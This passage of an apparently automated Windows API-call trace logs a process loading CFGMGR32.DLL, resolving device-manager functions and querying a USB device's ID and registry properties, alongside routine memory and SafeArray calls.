(_Size=0x58) returned 0x20abc2aad50 [0224.950] DevObjEnumDeviceInfo () returned 0x1 [0224.950] malloc (_Size=0x58) returned 0x20abc2aa5d0 [0224.950] DevObjEnumDeviceInfo () returned 0x1 [0224.951] malloc (_Size=0x58) returned 0x20abc2aa2d0 [0224.951] DevObjEnumDeviceInfo () returned 0x1 [0224.951] malloc (_Size=0x58) returned 0x20abc2aa750 [0224.951] DevObjEnumDeviceInfo () returned 0x1 [0224.951] malloc (_Size=0x58) returned 0x20abc2aa690 [0224.951] DevObjEnumDeviceInfo () returned 0x1 [0224.951] malloc (_Size=0x58) returned 0x20abc2aa570 [0224.951] DevObjEnumDeviceInfo () returned 0x1 [0224.951] malloc (_Size=0x58) returned 0x20abc2aa3f0 [0224.951] DevObjEnumDeviceInfo () returned 0x1 [0224.951] malloc (_Size=0x58) returned 0x20abc2aac30 [0224.951] DevObjEnumDeviceInfo () returned 0x1 [0224.951] malloc (_Size=0x58) returned 0x20abc2aab10 [0224.952] DevObjEnumDeviceInfo () returned 0x1 [0224.952] malloc (_Size=0x58) returned 0x20abc2aadb0 [0224.952] DevObjEnumDeviceInfo () returned 0x1 [0224.952] malloc (_Size=0x58) returned 0x20abc2aabd0 [0224.952] DevObjEnumDeviceInfo () returned 0x1 [0224.952] malloc (_Size=0x58) returned 0x20abc2aa4b0 [0224.952] DevObjEnumDeviceInfo () returned 0x1 [0224.952] malloc (_Size=0x58) returned 0x20abc2aae10 [0224.952] DevObjEnumDeviceInfo () returned 0x0 [0224.952] DevObjDestroyDeviceInfoList () returned 0x1 [0224.955] malloc (_Size=0xd8) returned 0x20abc284e70 [0224.955] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0224.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0224.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0224.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0224.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0224.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0224.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0224.956] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0224.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0224.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0224.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0224.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0224.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0224.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0224.957] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0224.958] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0224.958] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0224.958] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0224.958] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0224.958] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0224.958] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0224.958] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0224.959] malloc (_Size=0x18) returned 0x20abc281b00 [0224.959] CM_Get_Device_IDA (in: dnDevInst=0x9, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\VID_1532&PID_0102\\68284") returned 0x0 [0224.959] malloc (_Size=0x48) returned 0x20abc27cf80 [0224.959] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x41da374b, dwHighDateTime=0x1d9eb0c)) [0224.960] SetEvent (hEvent=0x248) returned 1 [0224.964] malloc (_Size=0xd8) returned 0x20abc284e70 [0224.965] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0224.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0224.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0224.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0224.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0224.965] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0224.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0224.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0224.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0224.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0224.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0224.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0224.966] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0224.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0224.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0224.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0224.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0224.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0224.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0224.967] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0224.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0224.968] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0224.968] malloc (_Size=0x18) returned 0x20abc282000 [0224.968] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0224.969] malloc (_Size=0x6c) returned 0x20abc282120 [0224.969] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc282120, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc282120, pulLength=0x2dc22fd3f8) returned 0x0 [0224.970] free (_Block=0x20abc282120) [0224.970] malloc (_Size=0x48) returned 0x20abc27cf80 [0224.970] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x41dca801, dwHighDateTime=0x1d9eb0c)) [0224.970] SetEvent (hEvent=0x248) returned 1 [0224.973] malloc (_Size=0x18) returned 0x20abc2819a0 [0224.973] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0224.973] free (_Block=0x20abc2819a0) [0224.973] malloc (_Size=0x18) returned 0x20abc282080 [0224.973] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0224.973] free (_Block=0x20abc282080) [0224.974] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0bcf0 [0224.974] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0224.974] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0224.974] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0224.974] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba79520 [0224.974] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0224.974] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0224.974] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0224.974] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0224.974] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0224.975] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0224.975] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba79520) returned 1 [0224.976] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0bcf0) returned 1 [0224.976] malloc (_Size=0xd8) returned 0x20abc284e70 [0224.976] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0224.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0224.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0224.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0224.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0224.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0224.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0224.977] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0224.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0224.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0224.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0224.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0224.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0224.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0224.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0224.978] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0224.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0224.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0224.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0224.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0224.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0224.979] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0224.980] malloc (_Size=0x18) returned 0x20abc281a80 [0224.980] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0224.980] malloc (_Size=0x90) returned 0x20abc284f50 [0224.980] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x20abc284f50, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc284f50, pulLength=0x2dc22fd3f8) returned 0x0 [0224.981] free (_Block=0x20abc284f50) [0224.981] malloc (_Size=0x48) returned 0x20abc2abd10 [0224.981] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x41dca801, dwHighDateTime=0x1d9eb0c)) [0224.981] SetEvent (hEvent=0x248) returned 1 [0225.167] malloc (_Size=0x18) returned 0x20abc282020 [0225.168] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0225.168] free (_Block=0x20abc282020) [0225.168] malloc (_Size=0x18) returned 0x20abc281f80 [0225.168] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0225.168] free (_Block=0x20abc281f80) [0225.170] malloc (_Size=0x18) returned 0x20abc281ea0 [0225.170] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63728) returned 0x0 [0225.170] free (_Block=0x20abc281ea0) [0225.170] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0be70 [0225.171] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0225.171] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0225.171] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0225.171] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba797f0 [0225.171] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0225.171] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0225.171] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0225.175] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0225.178] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0225.178] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba939f8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0225.179] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93a00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0225.180] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba797f0) returned 1 [0225.181] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0be70) returned 1 [0225.190] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.191] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.193] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.194] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.195] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.196] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.197] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.201] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.202] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.203] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.204] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.210] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.212] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.213] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.213] malloc (_Size=0x18) returned 0x20abc281ce0 [0225.214] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.221] malloc (_Size=0x48) returned 0x20abc2ab2c0 [0225.221] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4202bffb, dwHighDateTime=0x1d9eb0c)) [0225.222] SetEvent (hEvent=0x248) returned 1 [0225.225] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.225] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.226] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.227] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.228] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.229] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.229] malloc (_Size=0x18) returned 0x20abc282060 [0225.229] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.229] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4202bffb, dwHighDateTime=0x1d9eb0c)) [0225.230] SetEvent (hEvent=0x248) returned 1 [0225.233] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.233] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.233] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.234] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.235] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.236] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.237] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.237] malloc (_Size=0x18) returned 0x20abc2820a0 [0225.237] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x9, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.238] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x420523a2, dwHighDateTime=0x1d9eb0c)) [0225.238] SetEvent (hEvent=0x248) returned 1 [0225.313] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.313] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.314] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.314] GetProcAddress 